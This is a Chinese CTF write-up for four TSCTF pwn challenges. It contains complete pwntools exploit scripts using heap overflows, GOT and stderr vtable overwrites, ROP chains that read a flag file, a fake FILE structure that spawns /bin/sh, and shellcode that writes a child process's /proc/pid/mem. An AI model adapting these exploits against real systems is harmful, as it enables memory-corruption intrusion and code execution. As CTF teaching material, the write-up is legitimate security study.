TSCTF pwn
0x1 alarm 主要漏洞出现在堆的申请上,可以申请17个堆,然后覆盖edit函数的偏移值,把这个偏移值改成负数就可以向上覆盖got表了,我没做出来的主要原因是我以为这个偏移值是字符的输入个数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 sub_2AF7 () { __int64 result; __int16 v1; __int64 v2; result = (unsigned int )dword_5520; if ( (__int16)dword_5520 <= 7 ) { v1 = dword_5520++; v2 = std ::string ::operator [](&unk_53E0, v1); return std ::operator >><char ,std ::char_traits<char >>(&std ::cin , v2); } return result; }
在ayoung佬这里学到一个很好用的gadget来绕过沙箱进行rop
1 2 3 4 5 6 7 sub rsp, 0x18 mov rbp, qword ptr [rdi + 0x48] mov rax, qword ptr [rbp + 0x18] lea r13, [rbp + 0x10] mov dword ptr [rbp + 0x10], 0 mov rdi, r13 call qword ptr [rax + 0x28]
这个gadget的主要作用就是通过rdi控制rbp然后再跳一个leave_ret就可以控制rsp来完成rop了
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *context.log_level='debug' sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so' , './pwn' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' }) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' ) def init (name,pwd ): sh.recvuntil("username: " ) sh.sendline(name) sh.recvuntil("password: " ) sh.sendline(pwd) def add (size,content ): sh.recvuntil("chose > " ) sh.sendline("1" ) sh.recvuntil("size > " ) sh.sendline(str (size)) sh.send(content) def free (idx,choice ): sh.recvuntil("chose > " ) sh.sendline("2" ) sh.recvuntil("idx > " ) sh.sendline(str (idx)) sh.recvuntil("Sure delete ?" ) sh.send(choice) def edit (content ): sh.recvuntil("chose > " ) sh.sendline("3" ) sh.send(content) def bye (content ): sh.recvuntil("chose > " ) sh.sendline("4" ) sh.recvuntil("byebye, good night~\n" ) sh.send(content) duan="b *(0x7ffff7fc5000+{0})" .format (0x2B7D ) def exp (): init("rootroot" ,"#$%^&*!@" ) add(0x500 ,'a' ) for i in range (15 ): add(0x100 ,'a' ) add(0xfcf0 ,'a' ) edit('\xc9' ) free(0 ,'Y' ) free(1 ,'s' ) bye('\x00' ) libc_addr=u64(sh.recvuntil('\x7f' ).ljust(8 ,'\x00' ))-0x1ed000 print hex (libc_addr) free(1 ,'Y' ) bye('\x00' ) heap_addr=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x13b00 print hex (heap_addr) add(0xfc60 ,'a' ) heap_17_addr=0x24fc0 +heap_addr gadget=libc_addr+0x154d06 for i in range (6 ): content=gadget&0xff gadget=gadget>>8 edit(p8(content)) heap_rop_addr=0x142d0 +heap_addr pop_rdi=0x0000000000023b72 +libc_addr pop_rsi=libc_addr+0x000000000002604f pop_rdx_r12=0x0000000000119241 +libc_addr syscall_ret=0x00000000000630d9 +libc_addr pop_rax=0x0000000000047400 +libc_addr leave_ret=libc_addr+0x00000000000578f8 rop=p64(heap_rop_addr)+p64(pop_rdx_r12) rop+=p64(0 )+p64(heap_rop_addr) rop+=p64(pop_rdi)+p64(leave_ret) rop+=p64(pop_rax)+p64(2 ) rop+=p64(pop_rdi)+p64(heap_rop_addr) rop+=p64(pop_rdi)+p64(heap_rop_addr+0xe8 ) rop+=p64(pop_rsi)+p64(0 ) rop+=p64(pop_rdx_r12)+p64(0 ) rop+=p64(0 )+p64(syscall_ret) rop+=p64(pop_rdi)+p64(3 ) rop+=p64(pop_rsi)+p64(heap_rop_addr+0x200 ) rop+=p64(pop_rdx_r12)+p64(0x30 ) rop+=p64(0x30 )+p64(libc_addr+libc.sym["read" ]) rop+=p64(pop_rdi)+p64(heap_rop_addr+0x200 ) rop+=p64(libc_addr+libc.sym["puts" ])+'./flag\x00\x00' bye(rop) sh.interactive() exp()
0x2 babynote 主要问题出现在了拷贝函数memcpy上,利用加密函数和read函数配合来完成堆的溢出拷贝,然后使用了然后把stderr的vtable覆盖成io_str_jumps
,修改stderr结构体的内容,让stderr+0x28填上自己想填的地址,然后其他全填0,这样的话,最后exit就会执行stderr的io_str_overflow,这个函数会call malloc
这时候程序的rdx指针是我们可以控制的了,具体和stderr+0x28相关,然后把malloc_hook覆盖成setcontext就可以控制rsp完成rop了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pwn import *context.log_level='debug' sh=remote("10.7.2.133" ,34789 ) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' ) def write_note (size,content ): sh.sendlineafter(">> " ,"1" ) sh.sendlineafter("size: " ,str (size)) sh.sendafter("content: " ,content) def delete_note (idx ): sh.sendlineafter(">> " ,"3" ) sh.sendlineafter("index: " ,str (idx)) def encrype_note (idx,key ): sh.sendlineafter(">> " ,"4" ) sh.sendlineafter("index: " ,str (idx)) sh.sendafter("encrypt key: " ,key) def read_note (i,idx,key=0 ): sh.sendlineafter(">> " ,"2" ) sh.sendlineafter("index: " ,str (idx)) if i==1 : sh.sendafter("encrypt key: " ,key) duan="b *(0x7ffff7fc5000+{0})" .format (0x1747 ) def exp (): rand=0xa6381cc pay='a' *(0xf8 -8 -3 )+p64(0x481 ) write_note(0xf8 ,pay+'\n' ) for i in range (11 ): write_note(0x70 ,'a\n' ) key=':' .ljust(0x10 ,'a' ) encrype_note(0 ,key) key=p32(rand)+':' .ljust(0xa ,'a' ) read_note(1 ,0 ,key) delete_note(1 ) write_note(0x70 ,'\a\n' ) read_note(0 ,2 ) sh.recvuntil("content: " ) libc_base=u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x1ecbe0 ret=0x0000000000022679 +libc_base pop_rdi=0x0000000000023b72 +libc_base pop_rsi=0x000000000002604f +libc_base pop_rdx_r12=0x0000000000119241 +libc_base syscall_ret=0x00000000000630d9 +libc_base pop_rax=0x0000000000047400 +libc_base add_rsp_0x20_pop_rdx=0x0000000000042b71 +libc_base write_note(0x70 ,'\a\n' ) delete_note(11 ) delete_note(2 ) read_note(0 ,12 ) sh.recvuntil("content: " ) heap_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x18a0 write_note(0x70 ,'a\n' ) write_note(0x70 ,'a\n' ) for i in range (7 ): delete_note(4 +i) delete_note(2 ) delete_note(11 ) delete_note(12 ) for i in range (7 ): write_note(0x70 ,'a\n' ) stderr=libc_base+0x1ed5c0 write_note(0x70 ,p64(stderr-0x10 )+'\n' ) write_note(0x70 ,'a\n' ) write_note(0x70 ,'a\n' ) setcontext_addr=libc_base+libc.sym["setcontext" ] pay='\x00' *0x10 +'\x00' *0x28 +p64(stderr+0x10 ) pay=pay.ljust(0x70 ,'\x00' ) write_note(0x70 ,pay) io_str_jumps_addr=libc_base+0x1e9560 delete_note(2 ) for i in range (6 ): delete_note(4 +i) delete_note(10 ) delete_note(11 ) delete_note(12 ) for i in range (7 ): write_note(0x70 ,'a\n' ) write_note(0x70 ,p64(stderr+0xb0 )+'\n' ) write_note(0x70 ,'a\n' ) write_note(0x70 ,'a\n' ) pay=p64(heap_base+0x1620 )+p64(ret)+p64(0 )*3 +p64(io_str_jumps_addr) write_note(0x70 ,pay+'\n' ) delete_note(2 ) for i in range (6 ): delete_note(4 +i) delete_note(10 ) delete_note(11 ) delete_note(12 ) payload1=p64(pop_rax)+p64(2 )+p64(pop_rdi)+p64(heap_base+0x16a0 ) payload1+=p64(pop_rdx_r12)+p64(0 )*2 +p64(pop_rsi)+p64(0 )+p64(syscall_ret) payload1+=p64(pop_rax)+p64(0 )+p64(add_rsp_0x20_pop_rdx) payload2="./flag\x00\x00" +p64(0 )+p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(heap_base+0x2000 )+p64(pop_rdx_r12) payload2+=p64(0x30 )*2 +p64(syscall_ret)+p64(pop_rdi)+p64(heap_base+0x2000 )+p64(libc_base+libc.sym["puts" ]) for i in range (4 ): write_note(0x70 ,payload2+'\n' ) for i in range (3 ): write_note(0x70 ,payload1+'\n' ) write_note(0x70 ,p64(libc_base+libc.sym["__malloc_hook" ])+'\n' ) write_note(0x70 ,'a\n' ) write_note(0x70 ,'a\n' ) write_note(0x70 ,p64(setcontext_addr+61 )+'\n' ) delete_note(0 ) sh.sendlineafter(">> " ,"1" ) sh.sendlineafter("size: " ,str (0x100 )) print sh.recv() sh.interactive() exp()
0x3 忘了叫啥名 任意文件读加溢出io指针完成getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context.log_level='debug' sh=remote("10.7.2.142" ,9898 ) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) def guess (): sh.sendlineafter("Your guess:" ,str (3 )) sh.sendlineafter("Your guess:" ,str (6 )) sh.sendlineafter("Your guess:" ,str (7 )) def gitf (filepath ): sh.recvuntil("FileName: " ) sh.sendline(filepath) def exp (): guess() gitf('/proc/self/maps' ) sh.recvuntil("Open successful\n" ) elf_addr=int ((sh.recv(12 )),16 ) sh.recvuntil("[heap]\n" ) libc_addr=int ((sh.recv(12 )),16 ) fake_file=elf_addr+0x4300 +0x10 pay='a' *(0x4300 -0x42E0 ) pay+=p64(fake_file)+p64(0 ) pay+='\xff\xff\xdf\xff;/bin/sh\x00' .ljust(0xd8 ,'\x00' ) pay+=p64(fake_file+0xe0 ) pay+=p64(libc_addr+libc.sym["system" ])*21 sh.recvuntil("We will give you a million bonus cheque.\nLeave your name:" ) sh.send(pay) sh.interactive() exp()
0x4 Mute&Blind 0x4.1 父子进程的关系 涉及到了父子进程的问题,以前只是粗略的学习了一下,知道该怎么使用,这次通过这道题对父子进程有了更深刻的理解
每个进程都有自己的地址空间,这个地址空间是虚拟的,每个进程的虚拟地址空间都是独立的,每个进程的虚拟地址空间和这个进程真正加载到内存的物理地址存在着映射关系,当这个进程执行某一条指令时先把这个指令的虚拟地址发送到MMU(CPU的地址转换单元),转化成这个指令的真实物理地址然后找到这个指令再进行执行。
当父进程创建子进程的时候,操作系统就会把父进程的虚拟地址空间复制一份再给子进程,并且父子进程的相对于物理内存的映射关系是一样的,注意是把独立的一份虚拟地址空间给了子进程,而不是父子进程共享地址空间。通过下面的代码可以证明他们的虚拟地址是一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> char buf[10 ]={0 };int main (int argc,char *argv[]) { pid_t pid=fork(); if (pid==-1 ){ perror("fork error" ); exit (1 ); }else if (pid==0 ){ sleep(2 ); printf ("%lld\n" ,&buf); printf ("chlid pid=%d\n" ,getpid()); printf ("child is created\n" ); }else { printf ("%lld\n" ,&buf); printf ("father pid=%d\n" ,getpid()); printf ("father:my child is pid %d\n" ,pid); } printf ("susssess\n" ); return 0 ; } #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> char buf[10 ]={0 };int main (int argc,char *argv[]) { pid_t pid=fork(); if (pid==-1 ){ perror("fork error" ); exit (1 ); }else if (pid==0 ){ sleep(4 ); char buff[20 ]={0 }; sprintf (buff,"/proc/%d/maps" ,getpid()); int fd=open(buff,0 ); char buf[1000 ]={0 }; read(fd,buf,900 ); write(1 ,buf,900 ); printf ("%s\n" ,buf); printf ("chlid pid=%d\n" ,getpid()); printf ("child is created\n" ); }else { int fd=open("/proc/self/maps" ,0 ); char buf[1000 ]={0 }; read(fd,buf,900 ); write(1 ,buf,900 ); printf ("father pid=%d\n" ,getpid()); printf ("father:my child is pid %d\n" ,pid); } printf ("susssess\n" ); return 0 ; }
那映射关系一样又是什么意思呢,其实就是指他们映射到的物理内存内存是一样的,比如父进程的代码段的物理地址是1,那子进程的代码段的物理地址也是1,因为刚开始的映射关系是一样的。
父子进程的数据遵循写时复制,读时共享的原则,也就是读的时候他们的映射关系还是不变的,但写的时候就会发生改变,具体变化如下
写之前
写完后
但是读时共享,写时复制并不适用于代码段,首先可以确定父子进程的代码段是相同的,所以代码段是没必要复制的,因此内核将代码段标记为只读,这样父子进程就可以安全的共享此代码段了。fork之后在进程创建代码段时,新子进程的进程级页表项都指向和父进程相同的物理页帧,所以如果改变代码段的内容会破坏原先的映射关系。
这是我写的一个小demo。我在父进程修改了子进程的代码段,然后调试子进程,发现子进程的代码并没有被修改,可见父子进程的代码段应该也是写时复制,读时共享,所以这道题就没办法通过父进程修改子进程的代码段来控制子进程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <stdlib.h> #include <errno.h> #include <sys/mman.h> int main () { int fd=open("/proc/self/maps" ,0 ); char buf[1000 ]={0 }; read(fd,buf,900 ); write(1 ,buf,900 ); size_t addr=0 ; scanf ("%lld" ,&addr); mprotect((void *)addr,0x1000 ,7 ); int pid=fork(); if (pid==-1 ){ printf ("%s\n" ,strerror(errno)); exit (1 ); }else if (pid==0 ){ sleep(10 ); printf ("chlid\n" ); printf ("father and child is not shared" ); }else { size_t child_text_addr=0 ; printf ("input child_text_addr\n" ); scanf ("%lld" ,&child_text_addr); sprintf ((void *)child_text_addr,"asdasdasdasdsad" ); } }
0x4.2 /proc/pid/self伪文件利用 这道题利用的是/proc/pid/mem
伪文件,网上没有找见这个伪文件的具体定义,按我的理解就是这个进程的伪文件,打开的这个文件就是这个进程的虚拟地址空间的内容,可以通过这个伪文件的文件描述符对这个文件进行操作,也就是对这个进程的虚拟地址空间进行操作,比如read
操作和write
操作,但是注意的是read和wirte操作的虚拟地址必须是映射到内存中的,不然会发生io错误,原因也很好想,没有真实内存映射你怎么读怎么写,这是我写的一个小demo来完成当前进程的读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> int main () { char buf[100 ]={0 }; sprintf (buf,"/proc/%d/mem" ,getpid()); printf ("%s\n" ,buf); int fd=open(buf,0 ); printf ("%d\n" ,fd); char buff[1000 ]={0 }; int fd1=open("/proc/self/maps" ,0 ); char buff1[1000 ]={0 }; read(fd1,buff1,900 ); write(1 ,buff1,900 ); printf ("\n" ); size_t offset=0 ; scanf ("%lld" ,&offset); lseek(fd,offset,1 ); read(fd,buff,900 ); write(1 ,buff,900 ); }
读取代码段的效果,此程序代码段相对于程序首地址偏移0x850
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 rootzhang@ubuntu:~/get-shell/tscrf/pwn5$ ./pwnc /proc/5819/mem 3 561fcc31a000-561fcc31b000 r-xp 00000000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc 561fcc51a000-561fcc51b000 r--p 00000000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc 561fcc51b000-561fcc51c000 rw-p 00001000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc 561fcd474000-561fcd495000 rw-p 00000000 00:00 0 [heap] 7fc4ceee2000-7fc4cf0c9000 r-xp 00000000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fc4cf0c9000-7fc4cf2c9000 ---p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fc4cf2c9000-7fc4cf2cd000 r--p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fc4cf2cd000-7fc4cf2cf000 rw-p 001eb000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fc4cf2cf000-7fc4cf2d3000 rw-p 00000000 00: 94694569781328 ]��f.�]�@f.�H�=I H�5B UH)�H��H��H��H��?H�H��tH� H��t ]��f�]�@f.��=� u/H�=� UH��t ����H����� ]����fDUH��]�f���UH��H��dH�%(H�E�1�H�������� H���H�H���H���'�����H������H�5�H�Ǹ�z���H������H�������H�������H�Ǹ�2�����������������H�=�������H�� �����}H���H��H�=�������������H�������}H���H�H�������������H�Ή������H�������H�ƿ�4���� � ���HDž����H������H��H�=#��t���H������H���������H�Ή��%���H�� �����������H�Ή�����H�� �����H�ƿ������H�u�dH34%(t�������DAWAVI��AUATL�%6 UH�-6 SA��I��L)�H�H������H��t 1��L��L��D��A��H��H9�u�H�[]A\A]A^A_Ðf.���H�H��/proc/%d/mem%d /proc/self/maps% lld;8rootzhang@ubuntu:~/get-shell/tscrf/pwn5$
程序修改代码段导致程序异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <stdlib.h> #include <errno.h> int s=4 ;int main () { char buf[100 ]={0 }; s=5 ; sprintf (buf,"/proc/%d/mem" ,getpid()); printf ("%s\n" ,buf); int fd=open(buf,O_RDWR); printf ("%d\n" ,fd); char buff[0x1000 ]={0 }; int fd1=open("/proc/self/maps" ,0 ); char buff1[1000 ]={0 }; read(fd1,buff1,900 ); write(1 ,buff1,900 ); printf ("\n" ); size_t offset=0 ; scanf ("%lld" ,&offset); lseek(fd,offset,1 ); for (int i=0 ;i<0x1000 ;i++){ buff[i]=0xcc ; } int ret=write(fd,buff,0x1 ); if (ret==-1 ){ printf ("write fail\n" ); printf ("%s\n" ,strerror(errno)); } printf ("hock is not ok\n" ); }
效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 rootzhang@ubuntu:~/get-shell/tscrf/pwn5$ ./pwnc /proc/6461/mem 3 555edf693000-555edf694000 r-xp 00000000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc 555edf894000-555edf895000 r--p 00001000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc 555edf895000-555edf896000 rw-p 00002000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc 555ee0f03000-555ee0f24000 rw-p 00000000 00:00 0 [heap] 7fcea4c50000-7fcea4e37000 r-xp 00000000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fcea4e37000-7fcea5037000 ---p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fcea5037000-7fcea503b000 r--p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fcea503b000-7fcea503d000 rw-p 001eb000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so 7fcea503d000-7fcea5041000 rw-p 00000000 00: 93865963502584 追踪与中断点陷阱 (核心已转储)
可见这个伪文件还是非常nb的,如果能对这个伪文件进行write的话,就可以忽视这个进行的各个段的权限进行任意篡改。
0x4.3 解题思路
1.首先是能够执行任意库函数,使用了我从未见过的gadget
1 2 3 add [rbp-0x3d],ebx nop ret
只要控制了rbp和ebx就可以修改任意数据了了,这里修改got表的地址为syscall,然后使用plt跳到这个got表项就可以了。
2.把getpid的got改成mprotect,然后调用mprotect使得bss段rwx,然后跳到bss段
3.父进程调用调用open(‘/proc/pid/mem’,2,0)其中2代表是可写权限,然后调用lseek(fd,offset,0)把文件读写指针指导sleep后面的一个地址,然后write(fd,text,count),改写sleep()后面的代码,然后使用wait(-1,addr,0)等待这个子进程结束,这个子进程的返回值就是一个flag的字符,储存在addr+1的位置,最后使用write输出
其中有几个函数比较陌生
lseek(int fd, off_t offset, int whence) :可以设置fd的当前读写指针,其中whence参数有三个
1 2 3 SEEK_SET:0#从文件头部开始偏移offset个字节 SEEK_CUR:1#从文件当前读写的指针位置开始,增加offset个字节的偏移量 SEEK_END:2#文件偏移量设置为文件的大小加上偏移量字节
**wait4 ( pid_t pid , int status*, int option , struct rusage *ru ) ,阻塞等待指定的子进程,然后把进程信息放在第二个参数的地方,如果pid=-1,则是等待所有子进程
4.子进程调用open(“./flag”,0),然后调用lseek(fd,offset,0)定位读写指针,然后调用read(fd,addr,1)读入一个flag,最后exit(*addr)把这个字符通过exit返回,这样父进程就可以通过wait()函数获得其返回值了。
0x4.3 脚本 重点参考了官方wp和ayoung佬的脚本,不过现在好像也就这两个wp,第一次写这么多的汇编,而且还是多进程的,写的时候胆战心惊生怕写错,最后在write那里少赋值了rax耽误了一会,不过幸好问题不大。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) pop_rdi=0x0000000000401573 pop_rsi_r15=0x0000000000401571 duan='b *({0})' .format (0x401505 ) def exp (offset ): sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so' , './pwn' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' }) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' ) elf=ELF("./pwn1" ) sh.recvuntil("Mute's pid is " ) father_pid=int (sh.recvuntil('\n' )) parent_shellcode=''' /*open("/proc/pid/mem",2,0)*/ mov rdi, 0x4047e0 mov rsi,2 mov rdx, 0 mov rax, 2 syscall /*lseek(3,offset,0)*/ mov rdi, rax mov rsi, 0x4013B8 mov rdx, 0 mov rax, 8 syscall /*write(fd,0x4042E0+0x300,0x70)*/ mov rsi, 0x4045e0 mov rdx,0x70 mov rax, 1 syscall /*wait4(-1,0x4042E0+0x800,0,0)*/ mov rdi, 0xffffffffffffffff mov rsi, 0x404ae0 mov rdx, 0 mov rcx, 0 mov rax, 61 syscall /*write(1,0x4042E0+0x801,0x1)*/ mov rax, 1 mov rdi, 1 mov rsi,0x404ae1 mov rdx, 1 syscall ''' child_shellcode=''' /*open('./flag',0,0)*/ mov rax, 0x67616c662f2e push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 2 syscall /*lseek(fd,offset,0)*/ mov rdi, rax mov rsi, {0} mov rdx, 0 mov rax, 8 syscall /*read(fd,0x4042E0,1)*/ mov rsi, 0x4042E0 mov rdx, 1 mov rax, 0 syscall /*exit(flag)*/ mov rdi, [rsi] mov rax, 60 syscall ''' .format (offset) sh.recvuntil("Maybe a Gift?" ) pay=asm(parent_shellcode) pay=pay.ljust(0x300 ,'\x00' ) pay+=asm(child_shellcode) pay=pay.ljust(0x500 ,'\x00' ) pay+='/proc/' +str (father_pid+1 )+'/mem\x00' sh.send(pay) sh.recvuntil("A overflow?" ) csu1=0x40156A csu2=0x401550 getpid_got=elf.got["getpid" ] pay='a' *0x48 +p64(csu1) pay+=p64(0x348e0 )+p64(getpid_got+0x3d ) pay+=p64(0x404000 )+p64(0x1000 ) pay+=p64(7 )+p64(0 )+p64(0x40123c ) pay+=p64(csu1)+p64(0 )+p64(1 ) pay+=p64(0x404000 )+p64(0x2000 )+p64(7 ) pay+=p64(0x404020 )+p64(csu2) pay+=p64(0 )*7 +p64(0x4042E0 ) sh.send(pay) sh.recvuntil('\n' ) flag=sh.recv(1 ) sh.close() return flag flag='' for i in range (40 ): s=exp(i) flag+=s if s=="}" : break print flag